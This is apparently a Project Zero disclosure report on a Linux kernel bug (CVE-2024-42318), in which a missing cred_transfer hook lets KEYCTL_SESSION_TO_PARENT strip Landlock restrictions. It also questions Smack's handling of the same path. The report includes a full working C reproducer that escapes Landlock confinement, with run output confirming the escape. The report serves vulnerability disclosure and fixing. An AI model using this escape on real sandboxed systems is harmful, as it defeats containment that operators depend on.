Linux: landlock can be disabled thanks to missing cred_transfer hook; and Smack looks dodgy too

I found a logic bug that makes it possible for a process to get rid of all Landlock restrictions applied to it:
When a process' cred struct is replaced, this _almost_ always invokes the cred_prepare LSM hook; but in one special case (when KEYCTL_SESSION_TO_PARENT updates the parent's credentials), the cred_transfer LSM hook is used instead. Landlock only implements the cred_prepare hook, not cred_transfer, so KEYCTL_SESSION_TO_PARENT causes all information on Landlock restrictions to be lost.

The one piece of good news about this is that it requires access to the keyctl() syscall; and I think Landlock is typically used in combination with some kind of seccomp allowlist, which will probably _usually_ make this issue unreachable from sandboxed code?

I had a look at the other LSMs that have cred_prepare or cred_transfer hooks:

 - AppArmor handles both hooks in the same way, that's fine
 - SELinux handles both hooks in the same way, that's fine
 - Tomoyo only handles cred_prepare, not cred_transfer, but it only uses the
   hook for something weird that's unrelated to the actual cred structs, so
   that's probably fine
 - Smack handles both but handles them differently; smack_cred_transfer() only
   transfers a subset of the information that smack_cred_prepare() transfers.
   That looks a bit dodgy to me but I don't really understand Smack - Casey, can
   you check if Smack handles KEYCTL_SESSION_TO_PARENT correctly?

I will send a suggested fix for Landlock in a minute.


Here's a reproducer for escaping from Landlock confinement, tested on latest
mainline (at commit 786c8248dbd33a5a7a07f7c6e55a7bfc68d2ca48):

```
user@vm:~/landlock-houdini$ cat landlock-houdini.c
#define _GNU_SOURCE
#include <unistd.h>
#include <err.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>

/* stuff from the landlock header */
struct landlock_ruleset_attr {
        uint64_t handled_access_fs;
};
#define LANDLOCK_ACCESS_FS_WRITE_FILE                   (1ULL << 1)


#define SYSCHK(x) ({          \\
  typeof(x) __res = (x);      \\
  if (__res == (typeof(x))-1) \\
    err(1, \"SYSCHK(\" #x \")\"); \\
  __res;                      \\
})

int main(void) {
  /* == tell landlock to block opening any files for writing == */
  SYSCHK(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0));
        struct landlock_ruleset_attr ruleset_attr = {
                .handled_access_fs = LANDLOCK_ACCESS_FS_WRITE_FILE
        };
  int ruleset = SYSCHK(syscall(444/*__NR_landlock_create_ruleset*/, &ruleset_attr, sizeof(ruleset_attr), 0));
  SYSCHK(syscall(446/*__NR_landlock_restrict_self*/, ruleset, 0));


  /* == make sure we really can't open files for writing == */
  int open_res = open(\"/dev/null\", O_WRONLY);
  if (open_res != -1)
    errx(1, \"open for write still worked after sandboxing???\");
  perror(\"open for write failed as expected\");


  /* == try to escape from landlock == */
  /* needed for KEYCTL_SESSION_TO_PARENT permission checks */
  SYSCHK(syscall(__NR_keyctl, KEYCTL_JOIN_SESSION_KEYRING, NULL, 0, 0, 0));
  pid_t child = SYSCHK(fork());
  if (child == 0) {
    /*
     * KEYCTL_SESSION_TO_PARENT is a no-op unless we have a different session
     * keyring in the child, so make that happen.
     */
    SYSCHK(syscall(__NR_keyctl, KEYCTL_JOIN_SESSION_KEYRING, NULL, 0, 0, 0));

    /*
     * This is where the magic happens:
     * KEYCTL_SESSION_TO_PARENT installs credentials on the parent that
     * never go through the cred_prepare hook, this path uses cred_transfer
     * instead.
     * So basically after this call, the parent's landlock restrictions
     * are gone.
     */
    SYSCHK(syscall(__NR_keyctl, KEYCTL_SESSION_TO_PARENT, 0, 0, 0, 0));
    exit(0);
  }
  int wstatus;
  SYSCHK(waitpid(child, &wstatus, 0));
  if (!WIFEXITED(wstatus) || WEXITSTATUS(wstatus) != 0)
    errx(1, \"child failed unexpectedly, unable to test bug\");


  /* retry the same operation that was previously blocked to see if we escaped */
  int open_res2 = open(\"/dev/null\", O_WRONLY);
  if (open_res2 != -1)
    errx(1, \"open for write works again, VULNERABLE!\");
  perror(\"open for write failed as it should, seems fixed\");
}
user@vm:~/landlock-houdini$ gcc -o landlock-houdini landlock-houdini.c -Wall
user@vm:~/landlock-houdini$ ./landlock-houdini
open for write failed as expected: Permission denied
landlock-houdini: open for write works again, VULNERABLE!
user@vm:~/landlock-houdini$
```


This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2024-10-22.

For more details, see the Project Zero vulnerability disclosure policy:
https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-
policy.html

Related CVE Numbers: CVE-2024-42318.



Found by: jannh@google.com